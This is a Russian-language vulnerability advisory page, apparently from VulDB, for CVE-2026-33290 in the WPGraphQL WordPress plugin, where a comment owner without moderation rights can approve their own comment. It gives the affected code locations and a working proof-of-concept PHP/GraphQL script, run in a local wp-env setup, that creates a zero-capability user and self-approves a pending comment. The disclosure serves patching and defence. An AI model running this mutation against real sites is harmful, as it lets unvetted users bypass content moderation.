CVE-2026-33290 in wp-graphqlИнформация

Сводка

по VulDB • 28.05.2026

WPGraphQL предоставляет GraphQL API для сайтов на WordPress. До версии 2.10.0 уязвимость в механизме авторизации функции updateComment позволяла аутентифицированному пользователю с низкими привилегиями (включая пользовательскую роль с нулевыми правами) изменять статус модерации своего собственного комментария (например, на APPROVE) без наличия права moderate_comments. Это позволяет обойти процессы модерации и позволить непроверенным пользователям самостоятельно одобрять контент. Версия 2.10.0 содержит исправление.

### Детали

В WPGraphQL версии 2.9.1 (протестировано) авторизация для updateComment основана на владельце, а не на полях:

- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 разрешает модераторам. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 также разрешает владельцу комментария, даже если у него нет прав на модерацию. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 напрямую сопоставляет входные данные GraphQL status с полем WordPress comment_approved. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 сохраняет это значение через wp_update_comment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 предоставляет доступ к состояниям модерации (APPROVE, HOLD, SPAM, TRASH).

Это означает, что владелец, не являющийся модератором, может указать статус при обновлении и изменить состояние модерации.

### PoC

Протестировано в локальной среде wp-env (Docker) с WPGraphQL 2.9.1.

1. Запуск среды:

npm install npm run wp-env start

2. Запуск PoC:

``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]);
$user_id = username_exists("poc_nocaps"); if ( ! $user_id ) {
$user_id = wp_create_user("poc_nocaps","Passw0rd!","[email protected]"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps");

$post_id = wp_insert_post([
"post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]);

$comment_id = wp_insert_comment([
"comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]);

wp_set_current_user($user_id);

$result = graphql([
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment_id ],
]);

echo wp_json_encode([
"role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ```

3. Наблюдение за результатом:

- role_caps пуст (или отсутствует moderate_comments) - мутация возвращает status: APPROVE - значение в БД становится comment_approved = 1

### Влияние

Это проблема обхода авторизации / нарушенного контроля доступа при переходе состояний модерации комментариев. Любое развертывание WPGraphQL с мутациями комментариев, где пользователи с низкими привилегиями могут оставлять комментарии, подвержено риску. Политика модерации может быть обойдена путем самостоятельного одобрения контента.

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Ответственный

GitHub M

Резервировать

18.03.2026

Раскрытие

24.03.2026

Модерация

принято

Вход

VDB-352583

EPSS

0.00177

KEV

Нет

Деятельности

Очень низкий

Сектор

Hostingprovider

Источники

Are you interested in using VulDB?

Download the whitepaper to learn more about our service!